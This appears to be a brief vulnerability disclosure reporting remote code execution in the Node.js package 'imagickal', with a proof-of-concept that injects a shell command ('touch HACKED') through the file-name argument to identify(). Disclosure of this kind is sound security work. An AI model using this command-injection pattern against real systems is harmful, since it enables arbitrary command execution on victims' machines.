[imagickal] Remote Code Execution

I would like to report `RCE` in `imagickal` It allows to execute arbitrary commands on the victim's PC

var im = require('imagickal');

im.identify('image.jpg;touch HACKED;').then(function (data) {
  console.log(data);
});